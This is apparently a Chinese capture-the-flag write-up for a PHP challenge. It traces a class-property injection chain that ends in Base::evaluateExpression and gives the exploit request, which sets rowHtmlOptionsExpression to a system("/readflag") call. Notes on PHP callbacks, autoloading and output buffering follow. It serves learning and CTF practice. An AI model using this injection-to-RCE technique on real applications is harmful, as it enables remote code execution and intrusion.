2022DAS_April warmup_php
wp
思路
先简单代码审计一下,发现它是个渲染HTML表格的东西。可利用的RCE在Base::evaluateExpression中,类之间基本都有继承关系。回调函数在这段代码里也有挺多。
利用链:Action::__construct--->ListView::run--->ListView::renderContent--->TestView::renderTableBody
--->TestView::renderTableRow--->Base::evaluateExpression;需要参数的步骤直接用properties数组传进去就行了。
exp
GET:?action=TestView
POST:
properties[tagName]=123l
&properties[filter]=1234
&properties[rowHtmlOptionsExpression]=system("/readflag")
&properties[data][0]=1233
&properties[template]={TableBody}
需要记录的东西
这破玩意,wp写起来就那么一点点,但真正做的时候四个PHP代码审了将近两个小时。
(1)函数
spl_autoload_register(callable $autoload_function)
//这个函数的作用是,碰到没见过的类,就自动调用括号里的函数。
//下面是一个用法示例;他没有用一个被解释为函数名的字符串作为参数,而是直接写了个匿名函数。它的作用是:如果遇到没见过的类xxx(PHP将其默认储存在$class中)就将class目录下的xxx.php文件包含进来。
<?php
spl_autoload_register(function($class){
require("./class".$class.".php");
});
?>
(2)函数
preg_replace_callback(mixed $pattern,callable $callback,mixed $subject)
//在解释这玩意之前,先温习一下熟知的preg_replace:
preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
//这个函数的作用是,在$subject中匹配$pattern,若匹配成功了,则将其替换为$replacement。它的返回值为经过操作后的$subject
//preg_replace_callback和上述的几乎完全一样,唯一的不同是”将其替换为$replacement"变成了”执行callback回调函数"。
//ob一族的函数,一般不涉及调用链和危险利用,但便于代码审计还是了解一下
ob_start() //打开输出缓冲
ob_end_flush() //清理(输出)缓冲区内容并关闭缓冲区
ob_get_contents() //得到(返回)缓冲区的内容
ob_get_length() //返回缓冲区内容长度
ob_clean() //清理缓冲区内容(但不关闭缓冲区)
结合上述知识,看题目代码:
public function renderContent()
{
ob_start();
echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
ob_end_flush();
}
//它的作用是,打开缓冲区,向里面填充经过回调函数处理的正则匹配的内容,再关闭缓冲区并一股脑把这些东西输出来。
//这里的回调是“对象方法回调”。$this就是正常的类里的$this;”renderSection"是要调用的函数名。
//匹配到的东西已经作为数组隐式传参进回调函数了;假设匹配了{TestView},那么隐式传参的数组[0]是{TestView},[1]是TestView。(不太理解)
(3)callback(回调)类型
之前关于callback只学过call_user_func()
相关的内容,几乎没有理解;现在才发现这不是个单个/几个函数的问题,这是一整个数据类型。
https://www.php.net/manual/zh/language.types.callable.php
<?php
// 回调函数示范
function my_callback_function() {
echo 'hello world!';
}
// 回调方法示范
class MyClass {
static function myCallbackMethod() {
echo 'Hello World!';
}
}
// 类型 1:简单的回调
call_user_func('my_callback_function');
// 类型 2:静态类方法回调
call_user_func(array('MyClass', 'myCallbackMethod'));
// 类型 3:对象方法回调
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));
// 类型 4:静态类方法回调
call_user_func('MyClass::myCallbackMethod');
// 类型 5:父级静态类回调
class A {
public static function who() {
echo "A\n";
}
}
class B extends A {
public static function who() {
echo "B\n";
}
}
call_user_func(array('B', 'parent::who')); // A
// 类型 6:实现 __invoke 的对象用于回调
class C {
public function __invoke($name) {
echo 'Hello ', $name, "\n";
}
}
$c = new C();
call_user_func($c, 'PHP!');
?>
(4)传参方式
//题目源码中出现了foreach,所以properties要传键值对的形式。具体的,直接在hackbar里这样:properties[filter]=1234
foreach($properties as $name=>$value)
$object->$name=$value;
//properties值里的内容类型还是数组怎么办呢?搞个二维的就行了,像这样:properties[data][0]=1233
public $data=array();
本题注意index里的内容能直接把对应参数都传进去;我当时审计的时候还对着没有__construct的TestView类困惑了好一会(菜